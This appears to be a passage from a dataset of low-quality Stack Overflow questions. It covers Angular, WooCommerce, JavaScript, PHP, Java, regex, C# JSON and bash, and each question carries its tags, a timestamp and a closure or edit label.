<p>Please refer the below link</p> <p>Please visit <a href="https://developers.google.com/maps/documentation/javascript/examples/places-autocomplete-directions" rel="nofollow noreferrer">https://developers.google.com/maps/documentation/javascript/examples/places-autocomplete-directions</a></p> <p>I am trying to convert the same application to Angular 6</p> <p>But not been able to do so.</p> <p>1) The HTML part i copied in test.component.html 2) the javascript part am trying to convert to typescript. This is where am not good.</p> <p>Sorry i could not paste the code here since its all messed up with errors.</p> <p>Suggest how to do or any ideas to convert the code, the place where am stuck is creation of events.</p> <p>Regards, Amit</p> <p>Same code to be in angular 6</p>
<angular><typescript>
2019-01-31 12:57:54
LQ_CLOSE
54,463,672
How to replace price to another currency in Woocommerce?
I need the help of the community. I use a visual product builder that allow my client to build their own products and I need multi-currency support. The problem is that i can't use multi-currency plugin because the visual builder doesn't support it. Mi question is : How modify price of the cart for other currency ? I need for example to modify final cart price like this 10€ > 15$ 20€ > 20$ Thank you very much
<wordpress><woocommerce>
2019-01-31 15:14:52
LQ_EDIT
54,466,267
Javascript sorting string
<p>I have array <code>['A', 'B', 'A', 'A', 'B', 'A', 'B', 'A', 'B', 'A', 'B', 'A', 'A']</code> and i want to sort into <code>['A', 'A', 'B', 'B', 'A', 'A', 'B', 'B', 'A', 'A', 'B', 'A', 'A']</code>. how to solve it using javascript ?</p>
<javascript><arrays><sorting>
2019-01-31 17:35:51
LQ_CLOSE
54,467,747
How to current array key inside foreach
<p>In my PHP code I want to check inside foreach iteration what is the current array key (In code below: key1/key2/key3/key4/key5).</p> <p>I have assoc array which looks like this:</p> <p>var_dump($myArray);</p> <p>array(5) { </p> <p>&nbsp;&nbsp;&nbsp;&nbsp;["key1"]=> array(2) {....} </p> <p>&nbsp;&nbsp;&nbsp;&nbsp;["key2"]=> array(2) {....} </p> <p>&nbsp;&nbsp;&nbsp;&nbsp;["key3"]=> array(2) {....} </p> <p>&nbsp;&nbsp;&nbsp;&nbsp;["key4"]=> array(2) {....}</p> <p>&nbsp;&nbsp;&nbsp;&nbsp;["key5"]=> array(2) {....}</p> <p>}</p> <pre><code>foreach($myArray as $key) { echo key($myArray); } </code></pre> <p>For example this only returns: key1key1key1key1key1</p> <p>My desired output should look like: key1key2key3key4key5</p> <p>I've been searching for a while but I can't find any smart solution.</p> <p>Thank you :)</p>
<php><arrays><foreach>
2019-01-31 19:14:40
LQ_CLOSE
54,467,980
How to reproduce this shape android studio?
I'm working on a recyclerview and i want to add a half line + picture +half line before it, but i have no idea of how to reproduce it. Can you please help me to get a similar shape ?[half line + pictogram + half line][1] [1]: https://i.stack.imgur.com/jaBCr.png
<android><android-recyclerview>
2019-01-31 19:32:14
LQ_EDIT
54,468,282
I dont understand why I am getting ArrayIndexOutOfBoundsException?
<p>I keep getting ArrayIndexOutOfBoundsException. I tried to resize all the arrays and traced my code but nothing seems to pop up to me!</p> <p>I am comparing the numbers between arr and brr. I am trying to print out the numbers that are in brr but not arr and the numbers that are repeated less often than in brr.</p> <p>I am putting these numbers in sperate array and printing it out. I also tried to do it using Lists but im getting the same Exception.</p> <pre><code>public class Solution { static int[] array = new int[200]; static int nextIndex = 0; public static void main(String[] args) { Scanner s = new Scanner(System.in); System.out.println("enter n: "); int n = s.nextInt(); System.out.println("enter numbers in arr: "); //List&lt;Integer&gt; arr = new ArrayList&lt;&gt;(); int arr[]; arr = new int[200]; for (int i=0; i&lt;n ; i++){ arr[i] = s.nextInt(); } System.out.println("enter m: "); int m = s.nextInt(); //List&lt;Integer&gt; brr = new ArrayList&lt;&gt;(); int brr[]; brr = new int[200]; System.out.println("enter numbers in brr: "); for (int i=0; i&lt;m ; i++){ brr[i] = s.nextInt(); } //System.out.println("The missing nums are : "); //List&lt;Integer&gt; finalArray; //ArrayList&lt;Integer&gt; finalArray; int finalArray[]; finalArray = new int[200]; finalArray = missingNums(arr,brr); for (int i =0; i&lt;finalArray.length; i++){ System.out.println(finalArray[i]); } } public static int[] missingNums(int arr[], int brr[]){ int oFreq = 1, fFreq = 0; int num, num2=-1; for (int i=0; i&lt;brr.length; i++){ num = brr[i]; //finding the frequency for each num in brr at a time for (int j=0; j&lt; brr.length; j++) if (brr[j + 1] == num) { oFreq++; //System.out.println(oFreq); } //checking if the same num exists in arr and storing it in num2 for (int x = 0; x&lt;arr.length; x++){ if (arr[x] == num) num2 = arr[x]; else push(num); //nums.add(num); } //if the same number as in brr exists in arr find its frequency in arr if (num2 != -1){ //find frequency of the number in arr for (int x = 0; x&lt;arr.length; x++){ if (num2 == arr[x]) fFreq++; } } if (oFreq &gt; fFreq) push(num); } return (array); } public static void push(int e) { array[nextIndex] = e; ++nextIndex; } public static int pop() { --nextIndex; return array[nextIndex]; } } </code></pre>
<java><exception-handling>
2019-01-31 19:52:46
LQ_CLOSE
54,468,779
Does every java program's .class file contains public class?
I got a question on the exam. Does every .class file contains a public class? yes/no
<java><contains><.class-file>
2019-01-31 20:30:38
LQ_EDIT
54,469,631
Call function when input is changed on text box?
<p>I'm trying to create a button that changes color when username and password fields have both been entered with some sort of input (IE; neither username or password text boxes are empty)</p> <p>Is there a way I can get a function to trigger when input of a text box is changed in NativeScript? I've asked at the NativeScript slack, among other sites but I don't seem to get a reply ever.</p> <p>I thought this was a relatively simple request, especially when I'm using vanilla JS. Surely it must be simpler than using a framework such as Angular or Vue? </p> <p>I do not want to use a framework, I am looking for a way to do this with plain JS. What have I tried? I've tried <code>onChange=""</code>, <code>textChange=""</code>, <code>change=""</code> but none seem to work.</p>
<javascript><nativescript>
2019-01-31 21:38:00
LQ_CLOSE
54,469,902
How should I install Bootstrap?
<p>I learned two ways: Putting some links directly into your html file and installing a Bootstrap app using a terminal. What’s the difference between these two ways and witch is better?</p>
<html><twitter-bootstrap><frameworks>
2019-01-31 22:03:59
LQ_CLOSE
54,470,472
how to make a script converting to radians the degree,seconds,minutes?
<p>I am using python and I am having trouble making a script converting an angle with the degree,minutes,seconds given in radiant.</p> <p>I already tried a few things but I am pretty new so I need help</p>
<python><seconds><degrees><radians><minute>
2019-01-31 22:56:12
LQ_CLOSE
54,470,763
What is the regex to get strings with one or more word characters except strings with digit only characters?
<p>What is the regex to get strings with one or more word characters except strings with digit only characters? For example, "word", "word1" match the regex but "1" doesn't. Thanks!</p>
<ruby><regex>
2019-01-31 23:26:33
LQ_CLOSE
54,471,636
How to use the EditorFor to fill in the model property(string) with the same name?
In my case, I need to fill in one property of model with several identical "input", using EditorFor. @model EditFormApplication.Models.NewForm @using (Html.BeginForm("EditForm", "Home", FormMethod.Post)) } @Html.EditorFor(model => model.Field) @Html.EditorFor(model => model.Field) @Html.EditorFor(model => model.Field) <input type="submit" value="save"> } @Html.EditorFor(model => model.Field) may be much more. namespace EditFormApplication.Models { public class NewForm { public string Field { get; set; } } } or how the model should look for this view?
<c#><asp.net><asp.net-mvc><model-view-controller>
2019-02-01 01:23:11
LQ_EDIT
54,472,631
I don't know what is wrong and how to fix it
ctn =0 myfile = open("lab3.txt") lines = myfile.readlines for item in myfile: ctn += item print(int(ctn)) TypeError: unsupported operand type(s) for +=: 'int' and 'str'
<python><python-3.x>
2019-02-01 03:51:56
LQ_EDIT
54,477,837
Deserialize from string to object
<p>I been stuck on this problem for long time now so I´m asking here.</p> <p>I´m getting following error message:</p> <pre><code>"Newtonsoft.Json.JsonSerializationException: 'Cannot deserialize the current JSON array (e.g. [1,2,3]) into type 'XXX' because the type requires a JSON object (e.g. {"name":"value"}) to deserialize correctly." </code></pre> <p>This is how my class looks like:</p> <pre><code>public class SSN { public IDictionary&lt;string,string&gt; ssns { get; set; } } </code></pre> <p>Here is the json-format:</p> <p><a href="https://i.stack.imgur.com/brjMQ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/brjMQ.png" alt="enter image description here"></a></p>
<c#><.net><json>
2019-02-01 10:42:57
LQ_CLOSE
54,478,129
How to remove array inside an array in javscript
let array = [ { id: "455", some: [ { id: "21", }, ], }, { id: "12", some: [ { id: "21", }, ], }, { id: "12", some: [ { id: "21", }, ], } ]; array.slice("some"); here i was trying to remove an array inside an array but it's not working. here i only want to remove "some" array from all objects.
<javascript><arrays><object><filtering><javascript-objects>
2019-02-01 11:00:59
LQ_EDIT
54,479,826
Bash: get 3 element from string
<p>folks I have string</p> <pre><code> str1="MVM GT RT BHHT SYSTEMG RW" </code></pre> <p>I need to get "BHHT" and add it to variable str2.</p> <p>I shouldn't use file. I need something like this:</p> <p><code>str1 | cut -d ' ' -f 3</code></p>
<bash><shell><scripting>
2019-02-01 12:45:24
LQ_CLOSE